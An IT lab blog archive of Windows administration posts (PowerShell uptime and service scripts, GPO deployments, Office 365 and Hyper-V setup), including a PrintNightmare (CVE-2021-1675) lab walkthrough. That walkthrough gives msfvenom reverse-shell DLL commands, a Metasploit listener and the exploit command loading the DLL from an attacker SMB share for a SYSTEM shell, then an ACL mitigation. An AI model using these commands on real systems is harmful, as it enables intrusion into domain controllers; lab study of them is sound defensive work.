Tag Archives: Microsoft

Get LastReboot and Uptime value on Windows 10 and Windows Server via PS

In this lab, I have used PS to get LastReboot and Uptime value on Windows servers and clients. PS script will query “Get-WmiObject” to get the last boot time of the computers/servers.

Firstly, I will test with Windows Servers.

$OS1 = Get-WmiObject Win32_OperatingSystem -ComputerName DC1 -ErrorAction Stop
$LastReboot =($OS1.ConvertToDateTime($OS1.LastBootUpTime))
# Print LastReboot
$LastReboot
$Uptime = (Get-Date) -$OS1.ConvertToDateTime($OS1.LastBootUpTime)
$Uptime  = ([String]$Uptime.Days + " Days " + $Uptime.Hours + " Hours " + $Uptime.Minutes + " Minutes")
# Print uptime

Write a full PS script.

# This script is written by Tung on 2022-02-18
# This is used to get lastreboot and uptime on Windows servers.
# Get time when running the script
$filename = (Get-Date).tostring("dd-MM-yyyy-hh-mm")
# Change PowerShell working directory to C:\Shared
Set-Location C:\Shared
#$TestComputerName = get-content C:\Shared\tungmachine.txt
$servers = (Get-ADComputer -properties OperatingSystem -filter{(operatingsystem -like "*Windows Server*")}).name
Foreach ($server in $servers) {
        # Only check the machine if it is online
        $ping_result = Test-Connection -ComputerName $server -Count 1 -Quiet
        # If the machine is online
        if($ping_result){
        # Using "Get-WmiObject Win32_OperatingSystem" to get $OS object
        # Using "Get-WmiObject Win32_OperatingSystem -ComputerName $Testcomputer -ErrorAction Stop" to get $OS object on remote machines.
        $OS = Get-WmiObject Win32_OperatingSystem -ComputerName $server -ErrorAction Stop
        # Get LastReboot via $OS.LastBootUpTime variable
        $LastReboot =($OS.ConvertToDateTime($OS.LastBootUpTime)).tostring("dd-MM-yyyy")    
        # Get Uptime via $OS.LastBootUpTime variable
        $Uptime = (Get-Date) -$OS.ConvertToDateTime($OS.LastBootUpTime)
        # Create a hash table (dictionary type) with 3 columns: PSComputerName, LastReboot and Uptime
        $lastlogonproperties = @{
        # Add PSComputerName into column #1
        PSComputerName  = $server
        # Convert and only get dd-mm-yyyy on last reboot variable.
        # Add LastReboot into column #2
        # Only get dd-mm-yyy field on LastReboot record.
        LastReboot =($OS.ConvertToDateTime($OS.LastBootUpTime)).tostring("dd-MM-yyyy")
        # Add LastReboot into column #3
        Uptime  = ([String]$Uptime.Days + " Days " + $Uptime.Hours + " Hours " + $Uptime.Minutes + " Minutes")
        }

    # Create a new table object on PS to append the hash table values above   
    $forcecsv = New-Object psobject -Property $lastlogonproperties
    # change order of columns before appending to csv file. 
    # Convert it to csv file and save under LastReboot directory.
    $forcecsv | select-object PSComputerName, LastReboot, Uptime | export-csv -NoTypeInformation -append "C:\Shared\LastReboot\Server\$filename.csv"
    }
}

Run the script.

Then, do the same PS script to query Windows 10 machines.

Change “(operatingsystem -like “*Windows Server*”)” to (operatingsystem -like “*Windows 10*”)

$computers = (Get-ADComputer -properties OperatingSystem -filter{(operatingsystem -like "*Windows 10*")}).name
# This script is written by Tung on 2022-02-18
# This is is used t get lastreboot and uptime on Windows 10 machines.
# Get time when running the script
$filename = (Get-Date).tostring("dd-MM-yyyy-hh-mm")
# Change PowerShell working directory to C:\Shared
Set-Location C:\Shared
#$TestComputerName = get-content C:\Shared\tungmachine.txt
$computers = (Get-ADComputer -properties OperatingSystem -filter{(operatingsystem -like "*Windows 10*")}).name
Foreach ($Computer in $computers) {
        # Only check the machine if it is online
        $ping_result = Test-Connection -ComputerName $Computer -Count 1 -Quiet
        # If the machine is online
        if($ping_result){
        # Using "Get-WmiObject Win32_OperatingSystem" to get $OS object
        # Using "Get-WmiObject Win32_OperatingSystem -ComputerName $Testcomputer -ErrorAction Stop" to get $OS object on remote machines.
        $OS = Get-WmiObject Win32_OperatingSystem -ComputerName $Computer -ErrorAction Stop
        # Get LastReboot via $OS.LastBootUpTime variable
        $LastReboot =($OS.ConvertToDateTime($OS.LastBootUpTime)).tostring("dd-MM-yyyy")    
        # Get Uptime via $OS.LastBootUpTime variable
        $Uptime = (Get-Date) -$OS.ConvertToDateTime($OS.LastBootUpTime)
        # Create a hash table (dictionary type) with 3 columns: PSComputerName, LastReboot and Uptime
        $lastlogonproperties = @{
        # Add PSComputerName into column #1
        PSComputerName  = $Computer
        # Convert and only get dd-mm-yyyy on last reboot variable.
        # Add LastReboot into column #2
        # Only get dd-mm-yyy field on LastReboot record.
        LastReboot =($OS.ConvertToDateTime($OS.LastBootUpTime)).tostring("dd-MM-yyyy")
        # Add LastReboot into column #3
        Uptime  = ([String]$Uptime.Days + " Days " + $Uptime.Hours + " Hours " + $Uptime.Minutes + " Minutes")
        }

    # Create a new table object on PS to append the hash table values above   
    $forcecsv = New-Object psobject -Property $lastlogonproperties
    # change order of columns before appending to csv file. 
    # Convert it to csv file and save under LastReboot directory.
    $forcecsv | select-object PSComputerName, LastReboot, Uptime | export-csv -NoTypeInformation -append "C:\Shared\LastReboot\Client\$filename.csv"
    }
}

Run the script.

PowerShell commands and notes

PowerShell commands and notes:

#Recursive file search using PowerShell
Get-ChildItem -Path C:\ -Filter *Graylog* -Recurse -ErrorAction SilentlyContinue -Force
#checkdate in the last 24 hours
$checkdate = (Get-Date).AddHours(-24)
#check all files have been modified in the last 24 hours and output file name, size and the time was last modified
Get-ChildItem -Path C:\Shared -file -Recurse | Where-Object {$_.LastWriteTime -ge $checkdate} | Select-Object -Property Fullname,Length,LastWriteTime
#checkdate in the last 90days
$checkdate = (Get-Date).AddDays(-90)
#check files on the  C:\users\Administrator\Downloads directory and at least 100MB in size and LastWriteTime is less than $checkdate. Then output the result to csv file.
$files = Get-ChildItem -Path C:\users\Administrator\Downloads -file -Recurse |
Where-Object {$_.length -ge 100MB -AND $_.LastWriteTime -le $checkdate} |
Select Fullname,Length,CreationTime,LastWriteTime |
Export-CSV -Path myfiles-90days_100MB.csv

Check WinRM service is running on a remote host.

Test-NetConnection -ComputerName WIN10NEW11 -Port 5985 -WarningAction SilentlyContinue
#shows the last computer name started, running.
get-CimInstance -ClassName win32_operatingsystem -ComputerName $env:computername | Select-Object -property PSComputerName, LastBootUpTime, {(Get-Date) - $_.lastbootuptime}

Get Antivirus Product is installed and its status with PowerShell.

Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct

List the user accounts in the local administrator group in a Windows machine.

Get-CimInstance win32_group -filter "name = 'administrators' AND LocalAccount = 'true'" | Get-CimAssociatedInstance -ResultClassName win32_useraccount

List all installed software that has a name defined in a Windows machine.

Get-CimInstance win32_product -filter "name like '%'" | Select-Object -property Name,Vendor,Version,Description,InstallDate

Check if Wordpad is running, kills the Wordpad process, and then creates a sample text file that includes the current date that kills the process.

(Get-Process wordpad -ea silentlycontinue) -and (stop-process -name wordpad) -and ("$(Get-Date) killed wordpad") | Out-file C:\Shared\wordpadlog.txt

Search any files that have file extension is .srt on D:\Shared folder, then remove them.

Check before removing.
PS D:\Get-Childitem -path "D:\Shared" -Filter *.srt -Recurse -ErrorAction SilentlyContinue -Force | Remove-Item -Force -Whatif


PS D:\Get-Childitem -path "D:\Shared" -Filter *.srt -Recurse -ErrorAction SilentlyContinue -Force | Remove-Item -Force

Install IIS Web server via PS.

Add-WindowsFeature Web-Server, Web-WebServer, Web-Common-Http, Web-Default-Doc, Web-Dir-Browsing, Web-Http-Errors, Web-Static-Content, Web-Health, Web-Http-Logging, Web-Log-Libraries, Web-Request-Monitor, Web-Performance, Web-Stat-Compression, Web-Security, Web-Filtering, Web-Windows-Auth, Web-App-Dev, Web-Net-Ext45, Web-Asp-Net45, Web-ISAPI-Ext, Web-ISAPI-Filter, Web-Mgmt-Tools, Web-Mgmt-Console, Web-Mgmt-Compat, Web-Metabase, NET-Framework-45-Features, NET-Framework-45-Core, NET-Framework-45-ASPNET, NET-WCF-Services45, NET-WCF-HTTP-Activation45, NET-WCF-TCP-PortSharing45, WAS, WAS-Process-Model, WAS-Config-APIs -restart

Install Active Directory module via PS.

Import-Module ServerManager
Add-WindowsFeature -Name "RSAT-AD-PowerShell" –IncludeAllSubFeature

# Check the installation status of a module
Get-WindowsFeature RSAT-AD-PowerShell

Shut down and Restart Windows machine.

# Stop-Computer -Force -WhatIf
Stop-Computer -Force
# Restart-Computer -Force -WhatIf
Restart-Computer -Force
# Delay restart on 5 seconds
Start-Sleep -Seconds 5 ; Restart-Computer -Force
# Restart machine remotely
Restart-Computer -ComputerName PC1 -Force
# Restart-Computer (Multiple Windows 10 domain joined clients)

(Get-ADComputer -Filter 'operatingsystem -notlike "*server*"').Name | Restart-Computer -Force -ErrorAction silentlycontinue

Get, stop and start Windows services.

Get-Service
# search Windows updates service.
Get-Service | where-object {$_.name -like "*wuauserv*"}
# Start Windows updates service.
Start-Service wuauserv -PassThru
# Stop Windows updates service.
Stop-Service wuauserv -PassThru
# Get Windows updates status
Get-Service -name wuauserv
# Change statustype 
Set-Service -name wuauserv -StartupType Disabled -Status Stopped

Deploy Ublock Origin Ad blocker via a GPO

According to (https://github.com/gorhill/uBlock), Ublock Origin is an efficient blocker add-on for various browsers. Fast, potent, and lean. uBlock Origin is NOT an “ad blocker”: it is a wide-spectrum blocker — which happens to be able to function as a mere “ad blocker”. The default behavior of uBlock Origin when newly installed is to block ads, trackers, and malware sites.

+ Create a central store for GPO

Copies Chrome, Firefox, MS Edge Policy templates under C:\Windows\SYSVOL\sysvol\cisalab.local\Policies\PolicyDefinitions (copy to C:\Windows\SYSVOL\sysvol rather than \\SERVER\SYSVOL folder)

Google Chrome:

https://support.google.com/chrome/a/answer/187202?hl=en#zippy=%2Cwindows

Firefox:

https://support.mozilla.org/en-US/kb/customizing-firefox-using-group-policy-windows

MS Edge:

https://www.microsoft.com/en-us/edge/business/download

+ Create a new Ublock Origin GPO.

+ Configure UBlock Origin GPO.

Google Chrome. Control which extensions are installed silently – Enabled cjpalhdlnbpafiamejdnhcphjbkeiagm;https://clients2.google.com/service/update2/crx

Firefox:

Extensions to Install – Enabled

https://addons.mozilla.org/firefox/downloads/file/3886236/ublock_origin-1.40.2-an+fx.xpi

MS Edge:

Control which extensions are installed silently – Enabled odfafepnkmbhccpbejgmiehpchacaeak;https://edge.microsoft.com/extensionwebstorebase/v1/crx

+ Link UBlock Origin GPO to Domain computers group.

+ Restart Windows 10 domain-joined client to test.

Ublock Origin has been installed automatically on Windows 10 domain clients.

Force installing Windows updates via PowerShell PSWindowUpdates

F_PSWindowsUpdates.PS1 is shared on \\DC1\Shared

# This is PowerShell script to force on installing Windows Updates via PSWindowsUpdate on Windows machines
# https://www.powershellgallery.com/packages/PSWindowsUpdate/2.2.0.2
# It is created on 2021-10-21
# Allow PowerShell to be run on Windows machines with PSWindowsUpdate module
Set-ExecutionPolicy RemoteSigned
# Installs everything (newest version) along with required modules.
Install-Module PSWindowsUpdate
# Import Module PSWindowsUpdate before running the script
Import-Module -Name PSWindowsUpdate
# Force Windows updates are completely downloaded, installed and then restarted. Will check if we have a WSUS server
Install-WindowsUpdate -AcceptAll -AutoReboot
# Send an email after running PSWindowsUpdate command
# Will send email if the last previous command is successful.
if ($? -eq $True){
        # Use this command for TLS requirement
        [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
        # Get machine name
        $machinename = get-content env:computername
        # Get current date and time
        $currentdate = get-date
        # Get current date and time
        $currentdate = get-date
        # SMTP server of Xyz.com</p>
        $SMTP = "smtp-mail.xyz.com"
        # Mail from<
        $From = "youremail@xyz.com"
        # Rcpt to
        $To = "youremail@xyz.com"# Subject line
        $Subject = "Windows updates on $cname"
        # Email body
        $Body = "Finising running Windows updates on $machinename on $currentdate"
        #Create a connection to SMTP Outlook via the port 587</p>
        $Email = New-Object Net.Mail.SmtpClient($SMTP, 587)
        # Enable SSL for the connection
        Email.EnableSsl = $true
        #Log in to xyz mail server with your credential
        $Email.Credentials = New-Object System.Net.NetworkCredential("youremail@xyz.com", "yourpassword");
        # Send email syntax
        $Email.Send($From, $To, $Subject, $Body)
}

Assign this script on Task Scheduler.

Create Office 365 online

Choose your Office 365 package.

Login to Microsoft 365 Admin center.

Add your domain name.

Verify your domain name.

Microsoft will connect to your GoDaddy Service Provider to create DNS records for your domain name.

Check on your GoDaddy domain site, DNS records has been successfully created on GoDaddy.

Change your primary account to admin@tungle.ca.

Change it to unlicensed.

Create a new Admin account on MS 365 Admin Center.

Link your license to your domain name.

Assign permission for this account.

Edit your billing license and extend it to 2 expiring months.

And then select “Extend end date” setting. Your Office 365 license will be expired in the next 2 months.

Lab Demonstration for Windows Print Spooler 0day Exploit on CVE-2021-1675

References:

https://www.huntress.com/blog/critical-vulnerability-printnightmare-exposes-windows-servers-to-remote-code-execution

The exploit code

https://github.com/cube0x0/CVE-2021-1675/blob/main/CVE-2021-1675.py

Step1: Setup the Lab

1 DC1 (dc1.cisalab.local) is running Windows 2016 with IP address is 10.0.0.77

Print Spooler service is running on the DC.

1 Kali Linux (AT) with IP address is 10.0.0.191.

Step 2: How to set up Kali

Upgrade Python

sudo apt-get update

sudo apt-get upgrade

sudo apt-get install python3-venv

1. The best practice is to create Python virtual Environment

python3 -m venv PrintNightmare

source PrintNightmare/bin/activate

2. clone the repo and install the custom Impacket version:

git clone https://github.com/cube0x0/CVE-2021-1675.git

git clone https://github.com/cube0x0/impacket

cd impacket

python3 ./setup.py install

3. Set up SMB share

(Use this method to allow the Windows servers to download the malicious codes on AT machine)

copy the original smb.conf file and create a backup file

cp /etc/samba/smb.conf /etc/samba/smb.conf.bak

now on the smb.conf change to this new configuration File

[global]

map to guest = Bad User

server role = standalone server

usershare allow guests = yes

idmap config * : backend = tdb

smb ports = 445 [smb]

comment = Samba

path = /tmp/

guest ok = yes

read only = no

browsable = yes

force user = nobody

Spin up SMB share: impacket-smbserver smb /tmp/

In case you have some problems with the SMB try to use build-in SMBD service

service smbd start

service smbd restart

4. Payload Creation:

Create Reverse shell Payload as a DLL

msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=<YOUR AT IP> LPORT=<PORT TO LISTEN> -f dll -o /tmp/rev.dll

AT creates a reverse shell connection with IP address is 10.0.0.191 (AT) and the destination port is 443. The shell code will be dropped on the Windows servers on /tmp/reverse.dll

msfvenom -f dll -p windows/x64/shell_reverse_tcp LHOST=10.0.0.191 LPORT=443 -o /tmp/reverse.dll

5. Set up a listener Use Metasploit tool to create a revere shell session (a listener)

msfconsole

use multi/handler

set PAYLOAD windows/x64/shell_reverse_tcp

set LHOST 10.0.0.191

set LPORT 443 run

6. Windows Environment:

you need to create a dc with an active directory (cisalab.local) create a low privilege user (test/123456)

7. Download and run shellcode

python3 CVE-2021-1675.py tle:123456@10.0.0.77 ‘\\10.0.0.191\smb\reverse.dll’

AT will create a connection to Windows server (DC1 – 10.0.0.77) with username/password is tle/123456.

Then the malicious code will be downloaded and run from the AT machine (\\10.0.0.191\smb\reverse.dll). After that, if the shellcode works then a reverse shell connection from Windows server to AT machine.

Step 3. Live Demonstration

The shell code is running on the AT machine

python3 CVE-2021-1675.py cisalab.local/tle:123456@10.0.0.77 '\\10.0.0.191\smb\reverse.dll' 

The malicious code is downloaded but it is blocked by Windows Defender on Windows servers

So, the shellcode cannot run on the Windows servers with Windows Defenders which is running.

If Windows Defender is disabled.

Run the exploit code again.

We can see a reverse shell connection has been established on the Windows server (DC) and AT machine. The connection seems to be an HTTPS connection, so it is hard to detect because of encryption.

The AT has a cmd shell with SYSTEM permission on the victim machine. That means the AT can do everything on it. Checking on Windows server (DC1), trojan code has been created on DC1 under x64 directory on “C:\Windows\System32\spool\drivers\”.

The shell code (reverse.dll) is successfully dropped on the folder named “3”. It may be a name when AT has created a reverse shell session.

Step 4: PREVENTION when the print spooler service is still running

Using PowerShell to create a ACL to prevent the malicious code to drop on the “C:\Windows\System32\spool\drivers\”

https://blog.truesec.com/2021/06/30/fix-for-printnightmare-cve-2021-1675-exploit-to-keep-your-print-servers-running-while-a-patch-is-not-available/

Before applying the ACL.

After implementing the ACL.

By restricting the ACLs on this directory (and subdirectories) we can prevent malicious DLLs to be introduced by the print spooler service. The exploit works by dropping a DLL in a subdirectory under C:\Windows\System32\spool\drivers.

Run the exploit code again.

The trojan code cannot put its files on the directory (“RPRN SessionError: code: 0x3 – ERROR_PATH_NOT_FOUND – The system cannot find the path specified.”).

There is no trojan code has put on the directory.

Install PSWindowsupdates module via GPO

Create a GPO “Install PSWindowsUpdates Module”.

Actions Settings:

Program: %SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe

Arguments: -ExecutionPolicy Bypass -File \DC1\Shared\install-PSWindowsupdate.PS1

Set-ExecutionPolicy RemoteSigned
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force
Set-PSRepository -Name 'PSGallery' -InstallationPolicy Trusted
Install-Module PSWindowsUpdate -Force

On Windows 10 PC:

Restarts the machine.

The task is running.

Check Task Manager and see PowerShell is running.

# Check PSWindowsUpdates has been installed.
Get-InstallModule

Create another GPO for installing Windows updates via the PSWindowsUpdates module.

Arguments: -ExecutionPolicy Bypass -File \\DC1\Shared\NewPS.PS1

PSWindowsUpdates script (\\DC1\Shared\newPS.PS1)

# This is PowerShell script to force on installing Windows Updates via PSWindowsUpdate on Windows machines
# https://www.powershellgallery.com/packages/PSWindowsUpdate/2.2.0.2
# It is created by Tung on 2021-Sep-28
# Allow PowerShell to be run on Windows machines with PSWindowsUpdate module
Set-ExecutionPolicy RemoteSigned
# Installs everything (newest version) along with required modules.
#Install-Module PSWindowsUpdate
# Import Module PSWindowsUpdate before running the script
Import-Module -Name PSWindowsUpdate
#Force Windows updates are completely downloaded, installed and then restarted. Will check if we have a WSUS server
Install-WindowsUpdate -AcceptAll -AutoReboot

# Send an email after running PSWindowsUpdate command
# Will send email if the last previous command is successful. 
if ($? -eq $True){
	# Use this command for TLS requirement
	[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
	# Get machine name 
	$machinename = get-content env:computername
	# Get current date and time
	$currentdate = get-date
	# SMTP server of Outlook.com
	$SMTP = "smtp-mail.outlook.com"
	# Mail from
	$From = "youremail"
	# Rcpt to 
	$To = "youremail"
	# Subject line 
	$Subject = "Windows updates on $cname"
	# Email body
	$Body = "Finising running Windows updates on $machinename on $currentdate"
	# Create  a connection to SMTP Outlook via the port 587
	$Email = New-Object Net.Mail.SmtpClient($SMTP, 587)
	# Enable SSL for the connection
	$Email.EnableSsl = $true
	# Log in to Outlook mail server with your credential
	$Email.Credentials = New-Object System.Net.NetworkCredential("youremail", "yourpassword");
	# Send email syntax
	$Email.Send($From, $To, $Subject, $Body)
}

Windows 10:

Access denied when trying .ADMX files to copy PolicyDefinitions folder

After downloading a new Windows 10 Administrative Templates, I need to copy it to the PolicyDefinitions folder on your Domain Controller. Then, I got an error because of “Cannot copy – permission denied”.

https://www.microsoft.com/en-us/download/confirmation.aspx?id=103667

The workaround solution is going to ” C:\Windows\SYSVOL\sysvol ” folder directly instead of using \\SERVER\SYSVOL.

My destination folder:

C:\Windows\SYSVOL\sysvol\cisalab.local\Policies\PolicyDefinitions\en-US

.ADMX files.

.ADML files.

Open GPMC console, we can see a new Windows 10 Administrative Template has been applied in Domain controller.

Create a NAT interface on MS Hyper-V

Open PowerShell.

New-VMSwitch -name NAT-Switch -SwitchType Internal -Verbose

Check the NAT interface has been created on Hyper-V.

Get-NetAdapter

Create an IP pool for the NAT interface.

New-NetIPAddress -IPAddress 192.168.200.1 -PrefixLength 24 -InterfaceIndex 71 -Verbose

Create a subnet for the NAT interface.

Check the Network cards setting.

Bind the network adapter card to the NAT network.